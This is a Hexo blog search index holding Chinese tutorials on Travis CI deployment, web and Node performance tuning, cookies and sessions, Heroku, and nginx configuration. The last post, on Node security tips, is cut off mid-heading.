1249 lines
263 KiB
XML
1249 lines
263 KiB
XML
<?xml version="1.0" encoding="utf-8"?>
|
||
<search>
|
||
|
||
|
||
<entry>
|
||
<title>RBP</title>
|
||
<link href="/RBP.html"/>
|
||
<url>/RBP.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="摇滚音乐平台-1-0-版"><a href="#摇滚音乐平台-1-0-版" class="headerlink" title="摇滚音乐平台 1.0 版"></a>摇滚音乐平台 1.0 版</h1><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>摇滚（rock music）这种音乐风格从古至今在中国一直都是一个比较小众的存在，国外接触摇滚比我们早了几十年，所以他们对于摇滚的接受度、喜爱程度肯定和我们是不一样的（具体我没去过不好轻易下定论），但至少我认为摇滚这一类的音乐风格在国内从来没有像流行歌曲那样广为流传（除了 beyond 的那几首烂大街的）！</p><p>有时候我在想，如果国内最早开始听的第一首歌是摇滚乐，会不会现在的情况就不是那样?我觉得答案是肯定的！</p><p>该平台目前只针对摇滚音乐做垂直细分，毕竟摇滚细分下来也有很多类型，像：pop rock、metal rock、folk rock…做好这一块就够了，无论你是哪一种，只要摇滚就行！最少相同的兴趣爱好，才能更好的走在一起。</p><h2 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h2><ul><li><p>注册登录</p></li><li><p>搜索（音乐、音乐人）</p></li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>我希望自己的人生，不应该只是平凡的过完就好，至少要做一件能对这个世界的进步有帮助的事情，不在乎数量，只在乎自己是否尽力。这就是我想开发这个平台的原因。</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 音乐 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 摇滚 </tag>
|
||
|
||
<tag> 乐队 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>travisCI 集成 gh-page 构建项目</title>
|
||
<link href="/travisCI-%E9%9B%86%E6%88%90-gh-page-%E6%9E%84%E5%BB%BA%E9%A1%B9%E7%9B%AE.html"/>
|
||
<url>/travisCI-%E9%9B%86%E6%88%90-gh-page-%E6%9E%84%E5%BB%BA%E9%A1%B9%E7%9B%AE.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="travisCI-持续集成-gh-page-并部署"><a href="#travisCI-持续集成-gh-page-并部署" class="headerlink" title="travisCI 持续集成 gh-page 并部署"></a>travisCI 持续集成 gh-page 并部署</h1><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>我们大多数公司在做项目时，应该都碰到过，当代码被 push 上 git 或者是 svn 时，过几分钟就可以在线上实时看到我们的项目，就像看到亲生儿子一样，但是肯定很多人不知道这是怎么实现的（如果你知道，那可以不用往下看了，点个赞就去吃饭吧…），所以今天我就来给大家介绍一下其中的一款 travis-CI，请记住它的 face：<br><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f71251406fc86?w=72&h=55&f=jpeg&s=5120" alt=""></p><p>持续集成（Continuous integration）的核心思想，代码先自动化测试用例，通过后集成到主干。它细分的话有两个概念：</p><ul><li>持续交付</li><li>持续部署<blockquote><p>简单来说持续部署是持续交付的下一步，持续交付是测试阶段，部署就是测试通过阶段。,这个就有很多东西展开了，求我我就告诉你…</p></blockquote></li></ul><h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><ul><li>GitHub 账号（作为一个合格的程序员，你没有真的好吗？）</li><li>travis-CI 平台接入</li><li>GITHUB_TOKEN</li><li>给我点赞…</li></ul><h2 id="第一步"><a href="#第一步" class="headerlink" title="第一步"></a>第一步</h2><p>登录 CI 官网，然后连接自己的 gitHub，这个时候 Legacy Services Integration 应该默认显示了几个自己gitHub的项目<br><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f6c4922b8c7a6?w=761&h=546&f=jpeg&s=39527" alt=""><br>如果显示不全，可以按左边的 sync 同步一下<br><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f6c6433ce6888?w=318&h=204&f=jpeg&s=16141" alt=""><br>然后第一张图每个项目的边上有一个 switch 开关，你想要让哪个集成就打开哪个吧（不截图了，我懒…）</p><h2 id="第二步"><a href="#第二步" class="headerlink" title="第二步"></a>第二步</h2><p>进入自己的 gh 主页，依次：GitHub settings -> developer settings -> Personal access tokens，勾选权限，自由发挥，你要全勾也行…</p><p><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f6d80fb076590?w=1050&h=878&f=jpeg&s=133880" alt=""><br>将生成的 token 复制备用</p><h2 id="第三步"><a href="#第三步" class="headerlink" title="第三步"></a>第三步</h2><p>回到CI，打开你打开开关的那个项目的 settings（看到你很绕我就放心了…），进入配置页面，在 Environment Variables 里填入以下内容：<br><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f6f783dbe0143?w=832&h=374&f=jpeg&s=35978" alt=""></p><blockquote><p>分别对应：git项目、项目分支（我这里的分支是gh-pages）、token、Git-email、Git-username</p></blockquote><h2 id="第四步"><a href="#第四步" class="headerlink" title="第四步"></a>第四步</h2><p>在项目根目录配置个文件叫 .travis.yml,打包项目以vue-cli为例，内容如下：</p><pre><code class="txt">language: node_js# nodejs版本node_js: - '8.9.1'# S: Build Lifecycleinstall: - npm installscript: - npm run build# 这个是不是看着很熟悉？after_script: - cd ./dist - git init - git config user.name "${USER_NAME}" - git config user.email "${USER_EMAIL}" - git add . - git commit -m "blog.jzxer.cn" - git push --force --quiet "https://${test_token}@${GH_REF}" master:${P_BRANCH}# E: Build LifeCycle# 只对某个分支行为生效branches: only: - master</code></pre><h2 id="第四点五步"><a href="#第四点五步" class="headerlink" title="第四点五步"></a>第四点五步</h2><p>打开 CI，进入自己构建项目的那个页面，打开 job log，感受那生怕 error 的快感！（都是泪…）</p><p><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f702606d46967?w=632&h=420&f=jpeg&s=50737" alt=""><br>当然如果你通过的话，就会有一个 passing 在你的项目标题旁边。</p><p><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f7035a73791e3?w=363&h=148&f=jpeg&s=11294" alt=""><br>每次看到这个我都激动的热泪盈眶…</p><h2 id="第五步"><a href="#第五步" class="headerlink" title="第五步"></a>第五步</h2><p>看一下自己在git上的项目，是不是出现了这个分支，并且已经自动部署好了？成功的截图。<br><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f706697e8aeb8?w=355&h=306&f=jpeg&s=28047" alt=""></p><h3 id="部署好的页面"><a href="#部署好的页面" class="headerlink" title="部署好的页面"></a>部署好的页面</h3><p><img src="https://user-gold-cdn.xitu.io/2018/6/13/163f708677ae9c6d?w=797&h=266&f=jpeg&s=42978" alt=""></p><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>现在，你可以疯狂的 push 代码了，其他的事交给 CI 去做就行。</p><p>好了，码了这么久的字，你是不是应该：</p><p>点个赞？</p><p>个赞？</p><p>赞？</p><p>👍</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 自动化 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> CI </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>nodeJS性能处理（二）</title>
|
||
<link href="/webPerformanceOptimization-2.html"/>
|
||
<url>/webPerformanceOptimization-2.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="nodeJs-性能处理"><a href="#nodeJs-性能处理" class="headerlink" title="nodeJs 性能处理"></a>nodeJs 性能处理</h1><h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>一个网站的体验，决定了用户是否愿意去了解网站的功能，而网站的功能，决定了用户是去还是留。特别是网站的性能，如果一个网页的时间打开超过 5s ，绝大部分用户会选择关闭它。</p><p>性能极致一直是作为 fea 的最高追求，所以在性能上我们更应关注以下指标：</p><ul><li>白屏时间</li><li>首屏时间</li><li>整页时间</li><li>DNS 时间</li><li>CPU 占用率</li></ul><p>本文将从以下三大模块展开介绍如何优化网站性能:</p><ol><li>网络传输性能优化</li><li>页面渲染性能</li><li>JS阻塞性能</li></ol><h2 id="1-网络传输性能优化"><a href="#1-网络传输性能优化" class="headerlink" title="1. 网络传输性能优化"></a>1. 网络传输性能优化</h2><p>首先我们需要了解页面输入 url 后，经历了哪几个阶段，如下：重定向 → 拉取缓存 → DNS 查询 → 建立TCP链接 → 发起请求 → 接收响应 → 处理html元素 → 元素加载完成。</p><h3 id="1-1-浏览器缓存"><a href="#1-1-浏览器缓存" class="headerlink" title="1.1 浏览器缓存"></a>1.1 浏览器缓存</h3><p>浏览器向服务器请求时，首先会查询本地是否有缓存文件。我们可以在服务器上设置 Etag 字段来控制缓存存放的位置，存在时便将数据存入硬盘。</p><blockquote><p>缓存有两种情况，分别为： from memory cache 和 from disk cache.</p></blockquote><p>以 nginx 为例，来配置nginx：</p><pre><code class="js">//首先，我们先进入nginx的配置文档$ vim nginxPath/conf/nginx.conf//在配置文档内插入如下两项：etag on; //开启etag验证expires 7d; //设置缓存过期时间为7天</code></pre><p>然后打开我们的网站，如果响应头部看见该字段则配置成功。</p><blockquote><p>注意是否为强缓存（本地缓存），该操作不会和服务端产生联系，所以需要给文件添加 hash 值。</p></blockquote><h3 id="1-2-资源打包压缩"><a href="#1-2-资源打包压缩" class="headerlink" title="1.2 资源打包压缩"></a>1.2 资源打包压缩</h3><p>缓存只是针对第二次访问页面，而首次打开页面的体验优化则需要对资源进行处理，可以分为以下几个方面：</p><ul><li>减少请求数</li><li>减少请求资源体积</li><li>提示网络传输速率</li></ul><p>在 webpack 配置时，注意以下几点：</p><h4 id="①-JS-压缩"><a href="#①-JS-压缩" class="headerlink" title="① JS 压缩"></a>① JS 压缩</h4><pre><code class="js">new webpack.optimize.UglifyJsPlugin()</code></pre><h4 id="②-HTML-压缩"><a href="#②-HTML-压缩" class="headerlink" title="② HTML 压缩"></a>② HTML 压缩</h4><pre><code class="js">new HtmlWebpackPlugin({ template: __dirname + '/views/index.html', // new 一个这个插件的实例，并传入相关的参数 filename: '../index.html', minify: { removeComments: true, collapseWhitespace: true, removeRedundantAttributes: true, useShortDoctype: true, removeEmptyAttributes: true, removeStyleLinkTypeAttributes: true, keepClosingSlash: true, minifyJS: true, minifyCSS: true, minifyURLs: true, }, chunksSortMode: 'dependency'})</code></pre><h4 id="③-提取公共资源"><a href="#③-提取公共资源" class="headerlink" title="③ 提取公共资源"></a>③ 提取公共资源</h4><pre><code class="js">new webpack.optimize.CommonsChunkPlugin({ name: 'vendor', filename: 'scripts/common/vendor-[hash:5].js' })</code></pre><blockquote><p>webpack3, 可能不适用 webpack4</p></blockquote><h4 id="④-提取-CSS-并压缩"><a href="#④-提取-CSS-并压缩" class="headerlink" title="④ 提取 CSS 并压缩"></a>④ 提取 CSS 并压缩</h4><p>这里我只截取部分片段</p><pre><code class="js">rules: [ { test: /\.css$/, use: ExtractTextPlugin.extract({ fallback: 'style-loader', use: { loader: 'css-loader', options: { minimize: true } } }) }]</code></pre><h4 id="⑤-服务器端开启-GZIP-压缩"><a href="#⑤-服务器端开启-GZIP-压缩" class="headerlink" title="⑤ 服务器端开启 GZIP 压缩"></a>⑤ 服务器端开启 GZIP 压缩</h4><pre><code class="js">gzip on;gzip_types text/plain application/javascript application/x-javascripttext/css application/xml text/javascript application/x-httpd-php application/vnd.ms-fontobject font/ttf font/opentype font/x-woff image/svg+xml;</code></pre><blockquote><p>不要对图片进行压缩，个人理解为图片内存一般都比较大，服务器处理起来需要消耗 CPU 占内存，压缩后的图片还有可能失真，这样只会适得其反。</p></blockquote><h3 id="1-3-图片资源优化"><a href="#1-3-图片资源优化" class="headerlink" title="1.3 图片资源优化"></a>1.3 图片资源优化</h3><p>图片是真正占了传输资源的东西，如果能对这类资源处理极致，效果是显著的。</p><h4 id="①-不要在-html-里面缩放图像"><a href="#①-不要在-html-里面缩放图像" class="headerlink" title="① 不要在 html 里面缩放图像"></a>① 不要在 html 里面缩放图像</h4><p>比如在一个 200 * 200 的容器里面放入一个 400 * 400 的图片，事实上并不会增加它的清晰度，相反它会让网页加载的速度下降，造成带宽的浪费，所以按照自己的需求选择图片，然后放在服务器最佳。</p><blockquote><p>2M 和 200k 的图片传输是 12s 和 200ms 的差距。</p></blockquote><h4 id="②-使用雪碧图"><a href="#②-使用雪碧图" class="headerlink" title="② 使用雪碧图"></a>② 使用雪碧图</h4><p>就是将许多小的图片放在一张图里，从而来减少请求数。</p><h4 id="③-使用字体图标"><a href="#③-使用字体图标" class="headerlink" title="③ 使用字体图标"></a>③ 使用字体图标</h4><p>不管是压缩的图片，还是雪碧图，终归还是图片，都会占用比较大的资源，使用字体图标，可以更进一步优化这个局面。如果项目中有很多小图标，可以考虑使用字体图标。</p><h4 id="④-WebP-格式"><a href="#④-WebP-格式" class="headerlink" title="④ WebP 格式"></a>④ WebP 格式</h4><p>谷歌开发的一种加快图片加载的格式，压缩体积大约只有 JPEG的 2/3。</p><h3 id="1-4-网络传输性能检测工具–Page-Speed"><a href="#1-4-网络传输性能检测工具–Page-Speed" class="headerlink" title="1.4 网络传输性能检测工具–Page Speed"></a>1.4 网络传输性能检测工具–Page Speed</h3><p>谷歌网页测速工具</p><h3 id="1-5-使用-CDN"><a href="#1-5-使用-CDN" class="headerlink" title="1.5 使用 CDN"></a>1.5 使用 CDN</h3><p>一个项目从服务器到客户端，中间可能经过一大堆路由来转发，这就相当于直线能到家的路程，然而走了很多弯路，到达目的地的时间肯定是不一样的。CDN 就是用来处理这个问题。</p><p>cdn 一般不和网站主域名相同，为什么？往下看。</p><h4 id="①-便于CDN-业务独立，能够独立配置缓存。"><a href="#①-便于CDN-业务独立，能够独立配置缓存。" class="headerlink" title="① 便于CDN 业务独立，能够独立配置缓存。"></a>① 便于CDN 业务独立，能够独立配置缓存。</h4><p>为了减低 web 的压力，cnd 会遵循前面的 cache 和 expires 头标准来对返回的内容进行缓存，起到加速的功能。一般大型网站都会设置 expires 比较大，这样可以减少请求回源。</p><h4 id="②-抛开无用的-cookie，减少带宽占用。"><a href="#②-抛开无用的-cookie，减少带宽占用。" class="headerlink" title="② 抛开无用的 cookie，减少带宽占用。"></a>② 抛开无用的 cookie，减少带宽占用。</h4><p>cookie 可以通过服务器设置，如果资源同源的情况下，主域名的资源都是带 cookie 的，相对的子域名也会带 cookie。然而一般图片，css，js这一类资源请求是不需要带 cookie 的，带了也没卵用，这时候就是在浪费带宽。</p><p>处理了 CND 的问题，随之而来的是 DNS 对域名的解析产生的问题，这会花费额外的时间，增加网络延迟。这个时候 DNS Prefetch 闪亮登场。使用方法如下：</p><pre><code class="css">/* 放在 html 头部即可预解析 */<link ref="dns-prefetch" href="//blog.jzxer.cn"></code></pre><h2 id="2-页面渲染性能优化"><a href="#2-页面渲染性能优化" class="headerlink" title="2. 页面渲染性能优化"></a>2. 页面渲染性能优化</h2><h3 id="2-1-浏览器渲染过程"><a href="#2-1-浏览器渲染过程" class="headerlink" title="2.1 浏览器渲染过程"></a>2.1 浏览器渲染过程</h3><p>渲染方面尽量减少重排和重绘，因为它们会影响浏览器的性能。</p><p>浏览器的渲染过程：User → 浏览器引擎 → 渲染引擎</p><blockquote><p>渲染引擎再ajax、js、css 进行解析。其中 js 解释器独立出来变成了 V8.</p></blockquote><h3 id="2-2-DOM-渲染层与-GPU-硬件加速"><a href="#2-2-DOM-渲染层与-GPU-硬件加速" class="headerlink" title="2.2 DOM 渲染层与 GPU 硬件加速"></a>2.2 DOM 渲染层与 GPU 硬件加速</h3><p>页面是由许多层级构建而成，3D 图就像一本书一样。它经历了以下的流程：</p><ol><li>浏览器获取 DOM 将其分割为多个独立渲染层。</li><li>CPU 将每个层绘制进绘图中。</li><li>将位图作为纹理上传至 GPU（显卡）绘制。</li><li>GPU 将所有渲染层缓存（如果下次上传的渲染层没有变化，GPU就不用重绘制），并复合成最终形成的我们的图像。<blockquote><p>布局由 CPU 处理，绘制由 GPU 处理。</p></blockquote></li></ol><p>此处用到 chorme tools 两个工具：Layers 和 Rendering。</p><h4 id="Layers"><a href="#Layers" class="headerlink" title="Layers"></a>Layers</h4><p>列出页面存在的所有渲染层。</p><h4 id="Rendering"><a href="#Rendering" class="headerlink" title="Rendering"></a>Rendering</h4><ol><li>paint flashing：对页面发生重绘的元素高亮。</li><li>Layer Borders：高亮边界突出页面中的各个渲染层。</li><li>FPS Meter：开启小黑窗，观察 GPU 占用率。</li></ol><pre><code class="css">/* 触发渲染层 */transform: translateZ(0);backface-visibility: hidden;</code></pre><p>把容易触发排版重绘的元素单独触发渲染层，让他与“静态”元素隔离，让 GPU 分担更多，就是所谓的硬件加速。</p><h3 id="2-3-重排和重绘"><a href="#2-3-重排和重绘" class="headerlink" title="2.3 重排和重绘"></a>2.3 重排和重绘</h3><h4 id="①-重排"><a href="#①-重排" class="headerlink" title="① 重排"></a>① 重排</h4><p>渲染层内部元素布局发生修改，都会导致重新排列，窗口的尺寸发生变化，删除或添加 DOM，影响了盒子大小的 css 属性。</p><h4 id="②-重绘"><a href="#②-重绘" class="headerlink" title="② 重绘"></a>② 重绘</h4><p>既渲染上色，对元素的视觉表现属性，就会引发重绘。</p><h3 id="2-4-优化策略"><a href="#2-4-优化策略" class="headerlink" title="2.4 优化策略"></a>2.4 优化策略</h3><ol><li><p>css 属性读写分离：浏览器每次对样式进行操作时，都要进行一次重新渲染（重排 + 重绘），所以我们用 js 对样式进行读写操作时，最好将两者分开，先读后写。</p></li><li><p>通过切换 class 或者用元素的 style.css(text) 属性去批量操作元素样式。</p></li><li><p>DOM 元素离线更新：</p></li><li><p>将没用的元素设置为 visibility: hidden，可以减小重绘压力。</p></li><li><p>压缩 DOM 深度，一个渲染层不要有过深的子元素，少用 DOM 完成页面样式，多使用伪元素或者 box-shadow。</p></li><li><p>图片在渲染前指定大小：因为 img 是内联元素，加载后会改变宽高，最好在渲染前就指定大小，或者让它脱离文档流。</p></li></ol><h2 id="3-JS阻塞性能"><a href="#3-JS阻塞性能" class="headerlink" title="3. JS阻塞性能"></a>3. JS阻塞性能</h2><p>如果使用了闭包而未将相关资源释放，或者引用了外部链接而将其制空，都会造成内存泄漏，进而大量占用 GPU，造成卡顿和死机。可以使用 chrome 的 JavaScript Profile 版块。</p><blockquote><p>服务端使用闭包需谨慎。</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> nodeJS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 性能优化 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>cookie和session</title>
|
||
<link href="/cookie%E5%92%8Csession.html"/>
|
||
<url>/cookie%E5%92%8Csession.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><h2 id="cookie"><a href="#cookie" class="headerlink" title="cookie"></a>cookie</h2><p>cookie 是 HTTP 协议的一部分，处理分为以下几步：</p><ol><li><p>服务器向客户端发送 cookie，一般为 name=value 形式。</p></li><li><p>浏览器将 cookie 储存。</p></li><li><p>每次请求浏览器都会将 cookie 发给服务器。</p></li></ol><h3 id="cookie-的属性"><a href="#cookie-的属性" class="headerlink" title="cookie 的属性"></a>cookie 的属性</h3><pre><code class="js">res.cookie('isVisit', 1, { // 储存的时间 maxAge: 10 * 1000, // 为 true 时只在https中生效 secure: true, // 影响路径 path: 'localhost', // 是否支持 js 读取，可以预防 XSS httpOnly: true})</code></pre><blockquote><p>isVisit 是 key 值，1 是 value。</p></blockquote><h3 id="cookie-的弊端"><a href="#cookie-的弊端" class="headerlink" title="cookie 的弊端"></a>cookie 的弊端</h3><p>数据在客户端就可以被修改，数据很容易被伪造，而且数据太多会影响传输效率。</p><h2 id="session"><a href="#session" class="headerlink" title="session"></a>session</h2><p>针对 cookie 的缺点，session 解决了这些问题，session 保存在服务端，它的运作是通过 session_id 进行，这个值一般存在客户端的 cookie 中。</p><h3 id="session-属性"><a href="#session-属性" class="headerlink" title="session 属性"></a>session 属性</h3><pre><code class="js">app.use(sessionParser({ name: 'author', // 储存位置: 默认 cookie // store: new redisStore(), // 编码字符串 secret: 'recommand 128 bytes random string', cookie: { maxAge: 60 * 1000 }, //每次请求都重设一个cookie rolling: false, resave: true, // 是指无论有没有session cookie，每次请求都设置个session cookie ，默认给个标示为 connect.sid saveUninitialized: false}))</code></pre><h3 id="signedCookie"><a href="#signedCookie" class="headerlink" title="signedCookie"></a>signedCookie</h3><p>就是签名，专业点就是 “信息摘要算法“，例如我有一些数据想存在 cookie 中，如何保证不被篡改？</p><p>比如我们用 dotcom_user 字段设置了个值 jzxer， cookie值应该是：</p><pre><code class="json">> { dotcom_user: 'jzxer' }</code></pre><p>这样如果验证和更改，安全性都不是很高。</p><p>我们可以这样处理，设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)</p><blockquote><p>sha1(secrit_string + dotcom_user) === ‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’</p></blockquote><p>然后把 cookie 变成这样：</p><pre><code class="json">{ dotcom_user: 'jzxer', dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'}</code></pre><p>这样一来信息就无法伪造了，一旦更改了 cookie 中的值，就会和服务器的冲突，破解的成本也太高。</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 本地储存 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> cookie </tag>
|
||
|
||
<tag> session </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>线上部署：heroku</title>
|
||
<link href="/%E7%BA%BF%E4%B8%8A%E9%83%A8%E7%BD%B2%EF%BC%9Aheroku.html"/>
|
||
<url>/%E7%BA%BF%E4%B8%8A%E9%83%A8%E7%BD%B2%EF%BC%9Aheroku.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>heroku 是一个自动部署工具，可以在代码发布后马上线上跑起来，对于一个刚入门的 node 新手有利于促进你的开发热情。</p><h2 id="1-注册一个账号"><a href="#1-注册一个账号" class="headerlink" title="1. 注册一个账号"></a>1. 注册一个账号</h2><p><a href="https://www.heroku.com" target="_blank" rel="noopener">heroku</a></p><blockquote><p>注意邮箱项目可以填写阿里云邮箱，目前qq邮箱和163邮箱不支持注册。</p></blockquote><h2 id="2-配置文件：Procfile"><a href="#2-配置文件：Procfile" class="headerlink" title="2. 配置文件：Procfile"></a>2. 配置文件：Procfile</h2><p>给 heroku 指明入口文件，配置内容如下：</p><pre><code class="js">web: node app.js</code></pre><h2 id="3-下载工具包"><a href="#3-下载工具包" class="headerlink" title="3. 下载工具包"></a>3. 下载工具包</h2><p><a href="https://devcenter.heroku.com/articles/getting-started-with-nodejs#set-up" target="_blank" rel="noopener">下载链接</a></p><h2 id="4-登录账户"><a href="#4-登录账户" class="headerlink" title="4. 登录账户"></a>4. 登录账户</h2><pre><code class="js">heroku login</code></pre><h2 id="5-创建远程仓库"><a href="#5-创建远程仓库" class="headerlink" title="5. 创建远程仓库"></a>5. 创建远程仓库</h2><pre><code class="js">heroku create</code></pre><blockquote><p>此时会给出一个仓库地址，留给下文用。</p></blockquote><h2 id="6-推送到远端"><a href="#6-推送到远端" class="headerlink" title="6. 推送到远端"></a>6. 推送到远端</h2><pre><code class="js">git push '给的仓库地址.git' master</code></pre><h2 id="7-测试项目"><a href="#7-测试项目" class="headerlink" title="7. 测试项目"></a>7. 测试项目</h2><p>输入以下命令打开推送的内容</p><pre><code class="js">heroku open</code></pre><h2 id="8-插件"><a href="#8-插件" class="headerlink" title="8. 插件"></a>8. 插件</h2><p>heroku 有很多插件可供链接，</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 自动化 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> heroku </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>nginx配置和问题处理</title>
|
||
<link href="/nginx%E9%85%8D%E7%BD%AE%E5%92%8C%E9%97%AE%E9%A2%98%E5%A4%84%E7%90%86.html"/>
|
||
<url>/nginx%E9%85%8D%E7%BD%AE%E5%92%8C%E9%97%AE%E9%A2%98%E5%A4%84%E7%90%86.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="nginx-介绍"><a href="#nginx-介绍" class="headerlink" title="nginx 介绍"></a>nginx 介绍</h1><p>Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。</p><p>尽管Node.JS的性能不错，但处理静态事务确实不是他的专长，如：gzip编码，静态文件，HTTP缓存，SSL处理，负载平衡和反向代理及多站点代理等，都可以通过nginx来完成，从而减小node.js的负载，并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。</p><h2 id="查看-nginx-进程"><a href="#查看-nginx-进程" class="headerlink" title="查看 nginx 进程"></a>查看 nginx 进程</h2><pre><code class="t">ps aux|grep nginx</code></pre><h2 id="nginx-conf-配置"><a href="#nginx-conf-配置" class="headerlink" title="nginx.conf 配置"></a>nginx.conf 配置</h2><pre><code class="-t">server { listen 3001; server_name localhost; #charset koi8-r; #access_log logs/host.access.log main; location / { root html; index index.html index.htm; } }</code></pre><blockquote><p>大约 36 行的位置，端口号可以设置其他，最好不要用80，设置好之后重启。</p></blockquote><h2 id="nginx-问题总结"><a href="#nginx-问题总结" class="headerlink" title="nginx 问题总结"></a>nginx 问题总结</h2><h3 id="ubuntu-下卸载不干净"><a href="#ubuntu-下卸载不干净" class="headerlink" title="ubuntu 下卸载不干净"></a>ubuntu 下卸载不干净</h3><pre><code class="t">sudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。sudo apt-get purge nginx nginx-common # 卸载所有东东，包括删除配置文件。sudo apt-get autoremove # 在上面命令结束后执行，主要是卸载删除Nginx的不再被使用的依赖包。sudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。sudo service nginx restart #重启nginx</code></pre>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 代理 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> nginx </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>nodeJS性能处理（一）</title>
|
||
<link href="/nodeJS%E6%80%A7%E8%83%BD%E5%A4%84%E7%90%86%E4%B8%80.html"/>
|
||
<url>/nodeJS%E6%80%A7%E8%83%BD%E5%A4%84%E7%90%86%E4%B8%80.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>目前市面上有很多后台纯 node 的项目，但是用 node 做后端还是有一系列的问题，比如稳定性，安全性，抛开这两块还要优化性能，如何提高用户的访问速度，在网络不佳（2G）的情况下如何能正常访问项目，都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。</p><h2 id="1-不要用-Eval"><a href="#1-不要用-Eval" class="headerlink" title="1. 不要用 Eval"></a>1. 不要用 Eval</h2><p>eval 的作用是将用户输入的字符串转化为可执行的代码，类似欺骗的效果，这样的坏处是会受到 XSS 攻击。</p><h2 id="2-使用-strict-模式"><a href="#2-使用-strict-模式" class="headerlink" title="2. 使用 strict 模式"></a>2. 使用 strict 模式</h2><p>严格模式下的变量声明会抛出一些隐藏的错误。</p><pre><code class="js">'use strict'var obj = { a: '1', a: '2'}// 抛出错误 syntax error</code></pre><h2 id="3-使用-Eslint-测试代码规范"><a href="#3-使用-Eslint-测试代码规范" class="headerlink" title="3. 使用 Eslint 测试代码规范"></a>3. 使用 Eslint 测试代码规范</h2><p>可以使我们早期捕获一些 bug，并及时修正。</p><h2 id="4-全面测试"><a href="#4-全面测试" class="headerlink" title="4. 全面测试"></a>4. 全面测试</h2><p>测试很重要，不但单元要测试，还要全面测试，例如用 mocha 测试代码覆盖率。</p><h2 id="5-Unix-下不要直接使用-sudo-node-app-js"><a href="#5-Unix-下不要直接使用-sudo-node-app-js" class="headerlink" title="5. Unix 下不要直接使用 sudo node app.js"></a>5. Unix 下不要直接使用 sudo node app.js</h2><p>这样如果产生错误，会让整个系统宕机，可以使用 nginx 反向代理。</p><h2 id="6-避免-shell-command-注入"><a 